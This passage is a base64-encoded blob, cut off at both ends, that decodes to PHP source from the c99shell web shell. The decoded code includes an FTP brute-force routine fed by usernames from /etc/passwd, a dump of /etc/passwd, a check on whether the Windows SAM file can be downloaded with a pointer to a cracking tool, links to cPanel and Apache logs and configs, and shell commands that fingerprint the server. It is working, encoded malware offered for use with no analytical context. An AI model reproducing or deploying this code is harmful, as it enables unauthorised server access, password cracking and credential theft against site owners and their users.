e2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogb2JqZWN0IGFscmVkeSBleGlzdHMiO30KICBlbHNlaWYgKCFta2RpcigkbWtkaXIpKSB7ZWNobyAiPGI+TWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9CiAgZWNobyAiPGJyPjxicj4iOwogfQogJGFjdCA9ICRkc3BhY3QgPSAibHMiOwp9CmlmICgkYWN0ID09ICJmdHBxdWlja2JydXRlIikKewogZWNobyAiPGI+RnRwIFF1aWNrIGJydXRlOjwvYj48YnI+IjsKIGlmICghd2luKSB7ZWNobyAiVGhpcyBmdW5jdGlvbnMgbm90IHdvcmsgaW4gV2luZG93cyE8YnI+PGJyPiI7fQogZWxzZQogewogIGZ1bmN0aW9uIGM5OWZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpCiAgewogICBpZiAoJGZxYl9vbmx5d2l0aHNoKSB7JFRSVUUgPSAoIWluX2FycmF5KCRzaCxhcnJheSgiL2Jpbi9GQUxTRSIsIi9zYmluL25vbG9naW4iKSkpO30KICAgZWxzZSB7JFRSVUUgPSBUUlVFO30KICAgaWYgKCRUUlVFKQogICB7CiAgICAkc29jayA9IEBmdHBfY29ubmVjdCgkaG9zdCwkcG9ydCwkdGltZW91dCk7CiAgICBpZiAoQGZ0cF9sb2dpbigkc29jaywkbG9naW4sJHBhc3MpKQogICAgewogICAgIGVjaG8gIjxhIGhyZWY9XCJmdHA6Ly8iLiRsb2dpbi4iOiIuJHBhc3MuIkAiLiRob3N0LiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj5Db25uZWN0ZWQgdG8gIi4kaG9zdC4iIHdpdGggbG9naW4gXCIiLiRsb2dpbi4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kcGFzcy4iXCI8L2I+PC9hPi48YnI+IjsKICAgICBvYl9mbHVzaCgpOwogICAgIHJldHVybiBUUlVFOwogICAgfQogICB9CiAgfQogIGlmICghZW1wdHkoJHN1Ym1pdCkpCiAgewogICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKSB7JGZxYl9sZW5naHQgPSAkbml4cHdkcGVycGFnZTt9CiAgICRmcCA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsInIiKTsKICAgaWYgKCEkZnApIHtlY2hvICJDYW4ndCBnZXQgL2V0Yy9wYXNzd2QgZm9yIHBhc3N3b3JkLWxpc3QuIjt9CiAgIGVsc2UKICAgewogICAgaWYgKCRmcWJfbG9nZ2luZykKICAgIHsKICAgICBpZiAoJGZxYl9sb2dmaWxlKSB7JGZxYl9sb2dmcCA9IGZvcGVuKCRmcWJfbG9nZmlsZSwidyIpO30KICAgICBlbHNlIHskZnFiX2xvZ2ZwID0gRkFMU0U7fQogICAgICRmcWJfbG9nID0gIkZUUCBRdWljayBCcnV0ZSAoY2FsbGVkIGM5OXNoZWxsIHYuICIuJHNodmVyLiIpIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7CiAgICAgaWYgKCRmcWJfbG9nZmlsZSkge2Z3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30KICAgIH0KICAgIG9iX2ZsdXNoKCk7CiAgICAkaSA9ICRzdWNjZXNzID0gMDsKICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGltZSgpOwogICAgd2hpbGUoIWZlb2YoJGZwKSkKICAgIHsKICAgICAkc3RyID0gZXhwbG9kZSgiOiIsZmdldHMoJGZwLDIwNDgpKTsKICAgICBpZiAoYzk5ZnRwYnJ1dGVjaGVjaygibG9jYWxob3N0IiwyMSwxLCRzdHJbMF0sJHN0clswXSwkc3RyWzZdLCRmcWJfb25seXdpdGhzaCkpCiAgICAgewogICAgICBlY2hvICI8Yj5Db25uZWN0ZWQgdG8gIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIiB3aXRoIGxvZ2luIFwiIi4kc3RyWzBdLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRzdHJbMF0uIlwiPC9iPjxicj4iOwogICAgICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIiwgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuIjsKICAgICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9CiAgICAgICRzdWNjZXNzKys7CiAgICAgIG9iX2ZsdXNoKCk7CiAgICAgfQogICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQogICAgICRpKys7CiAgICB9CiAgICBpZiAoJHN1Y2Nlc3MgPT0gMCkge2VjaG8gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25zISI7ICRmcWJfbG9nIC49ICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyFcclxuIjt9CiAgICAkZnRwcXVpY2tfdCA9IHJvdW5kKGdldG1pY3JvdGltZSgpLSRmdHBxdWlja19zdCw0KTsKICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+RG9uZSE8L2I+PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iPGJyPlRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPWdyZWVuPjxiPiIuJHN1Y2Nlc3MuIjwvYj48L2ZvbnQ+PGJyPlVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiI8L2I+PGJyPkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIjxicj4iOwogICAgJGZxYl9sb2cgLj0gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuRG9uZSFcclxuVG90YWwgdGltZSAoc2Vjcy4pOiAiLiRmdHBxdWlja190LiJcclxuVG90YWwgY29ubmVjdGlvbnM6ICIuJGkuIlxyXG5TdWNjZXNzLjogIi4kc3VjY2Vzcy4iXHJcblVuc3VjY2Vzcy46Ii4oJGktJHN1Y2Nlc3MpLiJcclxuQ29ubmVjdHMgcGVyIHNlY29uZDogIi5yb3VuZCgkaS8kZnRwcXVpY2tfdCwyKS4iXHJcbiI7CiAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30KICAgIGlmICgkZnFiX2xvZ2VtYWlsKSB7QG1haWwoJGZxYl9sb2dlbWFpbCwiYzk5c2hlbGwgdi4gIi4kc2h2ZXIuIiByZXBvcnQiLCRmcWJfbG9nKTt9CiAgICBmY2xvc2UoJGZxYl9sb2dmcCk7CiAgIH0KICB9CiAgZWxzZQogIHsKICAgJGxvZ2ZpbGUgPSAkdG1wZGlyX2xvZ3MuImM5OXNoX2Z0cHF1aWNrYnJ1dGVfIi5kYXRlKCJkLm0uWV9IX2lfcyIpLiIubG9nIjsKICAgJGxvZ2ZpbGUgPSBzdHJfcmVwbGFjZSgiLy8iLERJUkVDVE9SWV9TRVBBUkFUT1IsJGxvZ2ZpbGUpOwogICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9XCJmdHBxdWlja2JydXRlXCI+PGJyPlJlYWQgZmlyc3Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1cImZxYl9sZW5naHRcIiB2YWx1ZT1cIiIuJG5peHB3ZHBlcnBhZ2UuIlwiPjxicj48YnI+VXNlcnMgb25seSB3aXRoIHNoZWxsPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX29ubHl3aXRoc2hcIiB2YWx1ZT1cIjFcIj48YnI+PGJyPkxvZ2dpbmc/Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfbG9nZ2luZ1wiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPkxvZ2dpbmcgdG8gZmlsZT8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2ZpbGVcIiB2YWx1ZT1cIiIuJGxvZ2ZpbGUuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2ZpbGUpKzIqKHN0cmxlbigkbG9nZmlsZSkvMTApKS4iXCI+PGJyPkxvZ2dpbmcgdG8gZS1tYWlsPyZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZW1haWxcIiB2YWx1ZT1cIiIuJGxvZ19lbWFpbC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZW1haWwpKzIqKHN0cmxlbigkbG9nZW1haWwpLzEwKSkuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiQnJ1dGVcIj48L2Zvcm0+IjsKICB9CiB9Cn0KaWYgKCRhY3QgPT0gImQiKQp7CiBpZiAoIWlzX2RpcigkZCkpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQhPC9iPjwvY2VudGVyPiI7fQogZWxzZQogewogIGVjaG8gIjxiPkRpcmVjdG9yeSBpbmZvcm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj4iOwogIGlmICghJHdpbikKICB7CiAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7CiAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZCkpOwogICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQpKTsKICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkZCkpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCRkKSk7CiAgfQogIGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1jaG1vZCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPjwvYT48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkKSkuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOwogfQp9CmlmICgkYWN0ID09ICJwaHBpbmZvIikge0BvYl9jbGVhbigpOyBwaHBpbmZvKCk7IGM5OXNoZXhpdCgpO30KaWYgKCRhY3QgPT0gInNlY3VyaXR5IikKewogZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb246PC9iPjwvY2VudGVyPjxiPk9wZW4gYmFzZSBkaXI6ICIuJGhvcGVuYmFzZWRpci4iPC9iPjxicj4iOwogaWYgKCEkd2luKQogewogIGlmICgkbml4cGFzc3dkKQogIHsKICAgaWYgKCRuaXhwYXNzd2QgPT0gMSkgeyRuaXhwYXNzd2QgPSAwO30KICAgZWNobyAiPGI+Km5peCAvZXRjL3Bhc3N3ZDo8L2I+PGJyPiI7CiAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX3MpKSB7JG5peHB3ZF9zID0gMDt9CiAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX2UpKSB7JG5peHB3ZF9lID0gJG5peHB3ZHBlcnBhZ2U7fQogICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9XCJzZWN1cml0eVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwibml4cGFzc3dkXCIgdmFsdWU9XCIxXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0PVwiIG5hbWU9XCJuaXhwd2Rfc1wiIHZhbHVlPVwiIi4kbml4cHdkX3MuIlwiPiZuYnNwOzxiPlRvOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibml4cHdkX2VcIiB2YWx1ZT1cIiIuJG5peHB3ZF9lLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPjxicj4iOwogICAkaSA9ICRuaXhwd2RfczsKICAgd2hpbGUgKCRpIDwgJG5peHB3ZF9lKQogICB7CiAgICAkdWlkID0gcG9zaXhfZ2V0cHd1aWQoJGkpOwogICAgaWYgKCR1aWQpCiAgICB7CiAgICAgJHVpZFsiZGlyIl0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCR1aWRbImRpciJdKS4iXCI+Ii4kdWlkWyJkaXIiXS4iPC9hPiI7CiAgICAgZWNobyBqb2luKCI6IiwkdWlkKS4iPGJyPiI7CiAgICB9CiAgICAkaSsrOwogICB9CiAgfQogIGVsc2Uge2VjaG8gIjxicj48YSBocmVmPVwiIi4kc3VybC4iYWN0PXNlY3VyaXR5Jm5peHBhc3N3ZD0xJmQ9Ii4kdWQuIlwiPjxiPjx1PkdldCAvZXRjL3Bhc3N3ZDwvdT48L2I+PC9hPjxicj4iO30KIH0KIGVsc2UKIHsKICAkdiA9ICRfU0VSVkVSWyJXSU5ESVIiXS4iXHJlcGFpclxzYW0iOwogIGlmIChmaWxlX2dldF9jb250ZW50cygkdikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1yZWQ+WW91IGNhbid0IGNyYWNrIHdpbm50IHBhc3N3b3JkcygiLiR2LiIpIDwvZm9udD48L2I+PGJyPiI7fQogIGVsc2Uge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPllvdSBjYW4gY3JhY2sgd2lubnQgcGFzc3dvcmRzLiA8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1zYW0mZD0iLiRfU0VSVkVSWyJXSU5ESVIiXS4iXFxyZXBhaXImZnQ9ZG93bmxvYWRcIj48dT48Yj5Eb3dubG9hZDwvYj48L3U+PC9hPiwgYW5kIHVzZSBsY3AuY3JhY2srIKkuPC9mb250PjwvYj48YnI+Ijt9CiB9CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvdXNlcmRvbWFpbnMiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPXVzZXJkb21haW5zJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPlZpZXcgY3BhbmVsIHVzZXItZG9tYWlucyBsb2dzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1hY2NvdW50aW5nLmxvZyZkPSIudXJsZW5jb2RlKCIvdmFyL2NwYW5lbC8iKS4iXCImZnQ9dHh0Pjx1PjxiPlZpZXcgY3BhbmVsIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KIGlmIChmaWxlX2dldF9jb250ZW50cygiL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1odHRwZC5jb25mJmQ9Ii51cmxlbmNvZGUoIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYiKS4iJmZ0PXR4dFwiPjx1PjxiPkFwYWNoZSBjb25maWd1cmF0aW9uIChodHRwZC5jb25mKTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL2h0dHBkLmNvbmYiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWh0dHBkLmNvbmYmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+QXBhY2hlIGNvbmZpZ3VyYXRpb24gKGh0dHBkLmNvbmYpPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvc3lzbG9nLmNvbmYiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPXN5c2xvZy5jb25mJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPlN5c2xvZyBjb25maWd1cmF0aW9uIChzeXNsb2cuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9tb3RkIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1tb3RkJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPk1lc3NhZ2UgT2YgVGhlIERheTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL2hvc3RzIikpIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj1ob3N0cyZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5Ib3N0czwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQogZnVuY3Rpb24gZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKSB7aWYgKCFlbXB0eSgkdmFsdWUpKSB7aWYgKCFlbXB0eSgkbmFtZSkpIHskbmFtZSA9ICI8Yj4iLiRuYW1lLiIgLSA8L2I+Ijt9IGVjaG8gJG5hbWUubmwyYnIoJHZhbHVlKS4iPGJyPiI7fX0KIGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uPyIsbXlzaGVsbGV4ZWMoImNhdCAvcHJvYy92ZXJzaW9uIikpOwogZGlzcGxheXNlY2luZm8oIktlcm5lbCB2ZXJzaW9uPyIsbXlzaGVsbGV4ZWMoInN5c2N0bCAtYSB8IGdyZXAgdmVyc2lvbiIpKTsKIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIG5hbWUiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7CiBkaXNwbGF5c2VjaW5mbygiRGlzdHJpYiBuYW1lICgyKSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjLyotcmVhbGlzZSIpKTsKIGRpc3BsYXlzZWNpbmZvKCJDUFU/IixteXNoZWxsZXhlYygiY2F0IC9wcm9jL2NwdWluZm8iKSk7CiBkaXNwbGF5c2VjaW5mbygiUkFNIixteXNoZWxsZXhlYygiZnJlZSAtbSIpKTsKIGRpc3BsYXlzZWNpbmZvKCJIREQgc3BhY2UiLG15c2hlbGxleGVjKCJkZiAtaCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJMaXN0IG9mIEF0dHJpYnV0ZXMiLG15c2hlbGxleGVjKCJsc2F0dHIgLWEiKSk7CiBkaXNwbGF5c2VjaW5mbygiTW91bnQgb3B0aW9ucyAiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsKIGRpc3BsYXlzZWNpbmZvKCJJcyBjVVJMIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBjdXJsIikpOwogZGlzcGxheXNlY2luZm8oIklzIGx5bnggaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGx5bngiKSk7CiBkaXNwbGF5c2VjaW5mbygiSXMgbGlua3MgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGxpbmtzIikpOwogZGlzcGxheXNlY2luZm8oIklzIGZldGNoIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBmZXRjaCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJJcyBHRVQgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIEdFVCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJJcyBwZXJsIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBwZXJsIikpOwogZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIGFwYWNoZSIsbXlzaGVsbGV4ZWMoIndoZXJlaXMgYXBhY2hlIikpOwogZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIHBlcmw/IixteXNoZWxsZXhlYygid2hlcmVpcyBwZXJsIikpOwogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBwcm9mdHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHJvZnRwZC5jb25mIikpOwogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBodHRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIGh0dHBkLmNvbmYiKSk7CiBkaXNwbGF5c2VjaW5mbygibG9jYXRlIG15LmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgbXkuY29uZiIpKTsKIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgcHN5Ym5jLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgcHN5Ym5jLmNvbmYiKSk7Cn0KaWYgKCRhY3QgPT0gIm1rZmlsZSIpCnsKIGlmICgkbWtmaWxlICE9ICRkKQogewogIGlmIChmaWxlX2V4aXN0cygkbWtmaWxlKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBvYmplY3QgYWxyZWR5IGV4aXN0cyI7fQogIGVsc2VpZiAoIWZvcGVuKCRta2ZpbGUsInciKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9CiAgZWxzZSB7JGFjdCA9ICJmIjsgJGQgPSBkaXJuYW1lKCRta2ZpbGUpOyBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9ICRmID0gYmFzZW5hbWUoJG1rZmlsZSk7fQogfQogZWxzZSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30KfQppZiAoJGFjdCA9PSAiZW5jb2RlciIpCnsKIGVjaG8gIjxzY3JpcHQ+ZnVuY3Rpb24gc2V0X2VuY29kZXJfaW5wdXQodGV4dCkge2RvY3VtZW50LmZvcm1zLmVuY29kZXIuaW5wdXQudmFsdWUgPSB0ZXh0O308L3NjcmlwdD48Y2VudGVyPjxiPkVuY29kZXI6PC9iPjwvY2VudGVyPjxmb3JtIG5hbWU9XCJlbmNvZGVyXCIgYWN0aW9uPVwiIi4kc3VybC4iXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWVuY29kZXI+PGI+SW5wdXQ6PC9iPjxjZW50ZXI+PHRleHRhcmVhIG5hbWU9XCJlbmNvZGVyX2lucHV0XCIgaWQ9XCJpbnB1dFwiIGNvbHM9NTAgcm93cz01PiIuQGh0bWxzcGVjaWFsY2hhcnMoJGVuY29kZXJfaW5wdXQpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiY2FsY3VsYXRlXCI+PGJyPjxicj48L2NlbnRlcj48Yj5IYXNoZXM8L2I+Ojxicj48Y2VudGVyPiI7CiBmb3JlYWNoKGFycmF5KCJtZDUiLCJjcnlwdCIsInNoYTEiLCJjcmMzMiIpIGFzICR2KQogewogIGVjaG8gJHYuIiAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT01MCBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLiR2KCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+PGJyPiI7CiB9CiBlY2hvICI8L2NlbnRlcj48Yj5Vcmw6PC9iPjxjZW50ZXI+PGJyPnVybGVuY29kZSAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PgogPGJyPnVybGRlY29kZSAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnModXJsZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkuIlwiIHJlYWRvbmx5PgogPGJyPjwvY2VudGVyPjxiPkJhc2U2NDo8L2I+PGNlbnRlcj5iYXNlNjRfZW5jb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvY2VudGVyPiI7CiBlY2hvICI8Y2VudGVyPmJhc2U2NF9kZWNvZGUgLSAiOwogaWYgKGJhc2U2NF9lbmNvZGUoYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCkpICE9ICRlbmNvZGVyX2lucHV0KSB7ZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IHZhbHVlPVwiZmFpbGVkXCIgZGlzYWJsZWQgcmVhZG9ubHk+Ijt9CiBlbHNlCiB7CiAgJGRlYmFzZTY0ID0gYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCk7CiAgJGRlYmFzZTY0ID0gc3RyX3JlcGxhY2UoIlwwIiwiWzBdIiwkZGViYXNlNjQpOwogICRhID0gZXhwbG9kZSgiXHJcbiIsJGRlYmFzZTY0KTsKICAkcm93cyA9IGNvdW50KCRhKTsKICAkZGViYXNlNjQgPSBodG1sc3BlY2lhbGNoYXJzKCRkZWJhc2U2NCk7CiAgaWYgKCRyb3dzID09IDEpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iO30KICBlbHNlIHskcm93cysrOyBlY2hvICI8dGV4dGFyZWEgY29scz1cIjQwXCIgcm93cz1cIiIuJHJvd3MuIlwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiBpZD1cI